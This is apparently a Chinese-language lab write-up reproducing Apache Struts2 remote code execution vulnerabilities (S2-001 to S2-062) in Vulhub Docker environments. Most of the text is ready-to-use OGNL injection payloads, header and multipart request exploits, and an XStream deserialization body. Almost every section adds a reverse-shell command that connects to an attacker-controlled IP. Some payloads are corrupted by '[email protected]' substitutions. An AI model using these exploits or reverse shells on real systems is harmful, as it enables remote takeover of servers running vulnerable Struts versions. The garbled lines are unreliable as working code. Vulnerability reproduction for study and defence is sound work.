在虚拟机中安装docker环境具体就不演示了Vulhub - Docker-Compose file for vulnerability environment
如何判断Struts2框架
常规的办法有: 1、通过页面回显的错误消息来判断,页面不回显错误消息时则无效。 2、通过网页后缀来判断,如.do.action,有可能不准。 3、判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。 其它的方法:通过 actionErrors。要求是对应的 Action 需要继承自 ActionSupport 类。
利用方法:如原始 URL 为 https://threathunter.org/则检测所用的 URL 为 https://threathunter.org/?actionErrors=1111 如果返回的页面出现异常,则可以认定为目标是基于 Struts2 构建的。异常包括但不限于以下几种现象: 1、 页面直接出现 404 或者 500 等错误。 2、 页面上输出了与业务有关错误消息,或者 1111 被回显到了页面上。 3、 页面的内容结构发生了明显的改变。 4、 页面发生了重定向。
影响范围: Struts 2.0.0 - Struts 2.0.8
漏洞原理:该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
docker打开环境
对漏洞进行测试,首先在输入框输入%{1+1},点击登陆,我们可以看到我们提交的%{1+1}触发了错误,然后被解析成了2,说明漏洞存在
尝试获取tomcat路径。结果如下:
%{"tomcatBinDir{"[email protected]@getProperty("user.dir")+"}"}
尝试获取Web路径。结果如下:
%{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
替换下面{“pwd”}构造想要执行的命令:如{"cat","/etc/passwd"}
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
反弹shell {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.124.13/9999 0>&1"}
影响范围:Struts 2.0.0 - Struts 2.1.8.1
漏洞原理:s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过”#“来访问struts的对象,struts框架通过过滤“#”字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制
payload,执行任意命令POC(无回显,空格用@
代替),GET传输拼接
http://127.0.0.1:8080/example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%[email protected]/tmp/success%22.split(%[email protected]%22))')(%5cu0023rt%[email protected]@getRuntime()))=1
执行以后没有回显,还是原来的界面,但创建了一个success文件夹
POC放到tomcat8下会返回400,研究了一下发现字符\
、"
不能直接放path里,需要urlencode,编码以后再发送就好了。这个POC没回显。
尝试了一下反弹shell失败了,有知道的大佬可以讨论一下
/bin/[email protected]@%[email protected]@%3E%[email protected]/dev/tcp/192.168.124.13/[email protected]%3E%261%27
影响版本:2.0.0 - 2.2.3
漏洞原理:S2-007漏洞一般出现在表单处。当配置了验证规则 <ActionName>-validation.xml
时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。
age来自于用户输入,传递一个非整数给id导致错误,后端用代码拼接"'+(value)+'"
然后对其进行 OGNL 表达式解析,从而导致了漏洞,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。
payload
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@[email protected](@[email protected]().exec('id').getInputStream())) + '
这个payload使用普通反弹shell的命令反弹不了绕过exec获取反弹shell | Spoock
后来发现在linux中还存在[email protected]和$*,他们的含义都是list of all arguments passed to the script
。
exec("/bin/bash -c [email protected]|bash 0 echo bash -i >&/dev/tcp/172.20.10.13/9999 0>&1")
影响版本: 2.1.0 - 2.3.1.1
漏洞原理:这个漏洞再次来源于s2-003、s2-005
Struts2对s2-005的修复方法是禁止\
等特殊符号,使用户不能提交反斜线。但是,如果当前action中接受了某个参数example
,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example
参数中,然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1
的方法来执行它,从而绕过官方对#
、\
等特殊字符的防御。
访问http://your-ip:8080/ajax/example5.action
即可访问该控制器。按照原理中说到的方法,将OGNL利用代码放在name参数里,访问该URL:创建success验证漏洞
http://127.0.0.1:8080/ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%[email protected]@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true
反弹shell payload
/bin/bash%20-c%20%24%40%7Cbash%200%20echo%20bash%20-i%20%3E%26/dev/tcp/192.168.31.74/9999%200%3E%261%0A%0A%0A
影响版本: 2.1.0 - 2.3.13
漏洞原理:在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量
这样的话,只要传入S2-001
中的poc就可以任意代码执行,就不发了,见上面
影响版本: 2.0.0 - 2.3.14.1
漏洞原理:
Struts2 标签中 <s:a>
和 <s:url>
都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:
<s:a>
用来显示一个超链接,当includeParams=all
的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。
payload:
127.0.0.1:8080/link.action?a=%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read%28%23d%29%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2C%23out.println%28%23d%29%2C%23out.close%28%29%29%7D
反弹shell payload
/bin/bash%20-c%20%24%40%7Cbash%200%20echo%20bash%20-i%20%3E%26/dev/tcp/192.168.31.74/9999%200%3E%261%0A%0A%0A
S2-014 则是对 S2-013 修复的加强,在 S2-013 修复的代码中忽略了 ${ognl_exp} OGNL 表达式执行的方式
影响版本: 2.0.0 - 2.3.14.2
漏洞原理:漏洞产生于配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式。远程攻击者可借助带有‘${}’和‘%{}’序列值(可导致判断OGNL代码两次)的请求,利用该漏洞执行任意OGNL代码
payload:
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream())%2C%23q%7D.action
由于 name 值的位置比较特殊,一些特殊的字符如 / " \ 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功
影响版本: 2.0.0 - 2.3.15
漏洞原理:在struts2中,DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。
所以,访问http://your-ip:8080/index.action?redirect:OGNL表达式
即可执行OGNL表达式。
/index.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D
反弹shell payload
/bin/bash%20-c%20%24%40%7Cbash%200%20echo%20bash%20-i%20%3E%26/dev/tcp/192.168.31.74/9999%200%3E%261%0A%0A%0A
影响版本:Struts 2.3.20 - 2.3.28(2.3.20.3和2.3.24.3除外)
漏洞原理:Struts2在开启了动态方法调用(Dynamic Method Invocation)的情况下,可以使用method:<name>
的方式来调用名字是<name>
的方法,而这个方法名将会进行OGNL表达式计算,导致远程命令执行漏洞。
直接请求如下URL,即可执行id
命令,payload:
http://127.0.0.1:8080/index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@[email protected]().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
反弹shell:
cmd=/bin/bash%20-c%20%24%40%7Cbash%200%20echo%20bash%20-i%20%3E%26/dev/tcp/192.168.31.74/9999%200%3E%261%0A%0A%0A
影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
漏洞原理:在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。
打开环境,随便上传个东西
抓包修改Content-Type部分,验证漏洞
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
POC:修改ls构造命令
Content-Type:%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}
反弹shell:cmd="/bin/bash -c 'bash -i >& /dev/tcp/192.168.31.74/9999 0>&1'"
影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
漏洞原理:
1.系统必须使用 Jakarta 插件,检查 Struts2 配置文件中是否有以下配置:<constant name=“struts.multipart.parser”value =“jakarta-stream”/>
2.上传文件的大小(由 Content-Length 头指定)大于 Struts2 允许的最大大小(2GB)
3.文件名内容构造恶意的 OGNL 内容。
如果满足以上要求,Struts2 受影响版本将创建一个包含攻击者控制的异常文件名,使用 OGNL 值堆栈来定位错误消息,OGNL 值堆栈将插入任何 OGNL 变量($ {}或%{})作为 OGNL 表达式,然后实现任意代码执行。
与s2-045类似,但是输入点在文件上传的filename值位置,并需要使用%00
截断,在bp抓包后将%00进行URL解码 。(复现过程中发现好像Content-Length没有大于2GB也可以)
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('1_Ry',6*6)}%001_Ry
同样使用S2-045的payload,不同的是在后面加%00截断
%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}%001_Ry
反弹shell payload见上
影响版本: 2.0.0 - 2.3.32
漏洞原理 :Struts2 2.3.x 系列启用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目录,其漏洞成因是当ActionMessage接收客户可控的参数数据时,由于后续数据拼接传递后处理不当导致任意代码执行
打开环境访问http://127.0.0.1:8080/showcase/
触发OGNL表达式的位置是Gangster Name
这个表单。
输入${1+1}
即可查看执行结果(剩下两个表单随意填写):
POC:
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@[email protected]().exec('id').getInputStream())).(#q)}
反弹shell
/bin/bash -c [email protected]|bash 0 echo bash -i >&/dev/tcp/192.168.31.74/9999 0>&1
影响版本: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
漏洞原理:Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,可能会遭到远程代码执行攻击
启动环境后,访问http://127.0.0.1:8080/orders.xhtml
由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法,所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml,即可在Body中传递XML数据。
点击Edit抓包,修改包
<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>touch</string> <string>/tmp/success</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>
反弹 shell(这里>&需要html编码)
<string>/bin/bash</string> <string>-c</string>
<string>bash -i >& /dev/tcp/192.168.31.74/9999 0>&1</string>
影响版本: Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10
漏洞原理:Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。
环境运行后,访问127.0.0.1:8080/hello.action
输入如下Payload即可成功执行命令:(注意最后还有一个换行符)
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@[email protected](#process.getInputStream()))}
反弹shell:
cmd="/bin/bash -c 'bash -i >& /dev/tcp/192.168.31.74/9999 0>&1'"
影响版本 : Struts 2.3 - 2.3.34、Struts 2.5 - 2.5.16
漏洞原理:网站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。
环境运行后,访问http://127.0.0.1:8080/struts2-showcase
验证漏洞,该名称空间将由用户从URL传递并解析为OGNL表达式
http://127.0.0.1:8080/struts2-showcase/${(1+1)}/actionChain1.action
URL编码后的POC,替换${1+1}
%24%7B%0A%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D
反弹shell
/bin/bash%20-c%20%24%40%7Cbash%200%20echo%20bash%20-i%20%3E%26/dev/tcp/192.168.31.74/9999%200%3E%261%0A%0A%0A
影响版本 : Struts 2.0.0 - 2.5.20
漏洞原理:Apache Struts2使用某些标签时,会对标签属性值进行二次表达式解析,当标签属性值使用了%{skillName}并且skillName的值用户可以控制,就会造成OGNL表达式执行。
环境启动后,访问http://127.0.0.1:8080/?id=1
可以看出 id 属性中返回了1+1的结果
抓包,将GET类型改为POST
1、GET修改为POST方法
2、加上媒体类型信息:Content-Type: application/x-www-form-urlencoded
3、末尾添加需上传语句:id=xxx
将以下URL编码后的payload按顺序替换id发送数据包,生成success文件验证漏洞
payload1:
id=%25%7B%28%23context%3D%23attr%5B%27struts.valueStack%27%5D.context%29.%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.setExcludedClasses%28%27%27%29%29.%28%23ognlUtil.setExcludedPackageNames%28%27%27%29%29%7D
payload2:
id=%25%7B%28%23context%3D%23attr%5B%27struts.valueStack%27%5D.context%29.%28%23context.setMemberAccess%28%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29%29.%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%7D
替换命令反弹shell
/bin/bash%20-c%20%24%40%7Cbash%200%20echo%20bash%20-i%20%3E%26/dev/tcp/192.168.31.74/9999%200%3E%261%0A%0A%0A
影响版本 : Struts 2.0.0 - Struts 2.5.25
漏洞原理:S2-061是对S2-059的绕过,Struts2官方对S2-059的修复方式是加强OGNL表达式沙盒,而S2-061绕过了该沙盒
启动环境访问http://127.0.0.1:8080/index.action
和S2-059一样验证漏洞,可以看到存在漏洞
尝试了一下使用S2-059的Payload不行,直接上POC
POST /index.action HTTP/1.1 Host: 127.0.0.1:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Length: 829 ------WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Disposition: form-data; name="id" %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))} ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
替换id反弹shell
/bin/bash -c [email protected]|bash 0 echo bash -i >&/dev/tcp/192.168.31.74/9999 0>&1
影响版本 : Struts 2.0.0 - Struts 2.5.29
漏洞原理:该漏洞(CVE-2021-31805)是由于对 CVE-2020-17530 (S2-061) 发布的修复不完整,某些标签仍然可以进行2次表达式解析。如果开发人员通过使用%{...} 语法对某些标签属性中未经验证的原始用户输入进行二次解析时,可能会导致远程代码执行 - 与S2-061相同。
payload
------WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Disposition: form-data; name=\"id\" %{ (#request.map=#@[email protected]{}).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) (#request.map2=#@[email protected]{}).toString().substring(0,0) + (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) (#request.map3=#@[email protected]{}).toString().substring(0,0) (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) (#request.get('map3').put('excludedPackageNames',#@[email protected]{}.keySet()) == true).toString().substring(0,0) (#request.get('map3').put('excludedClasses',#@[email protected]{}.keySet()) == true).toString().substring(0,0) (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'})) } ------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94".replace("exec({'id","exec({'"+cmd)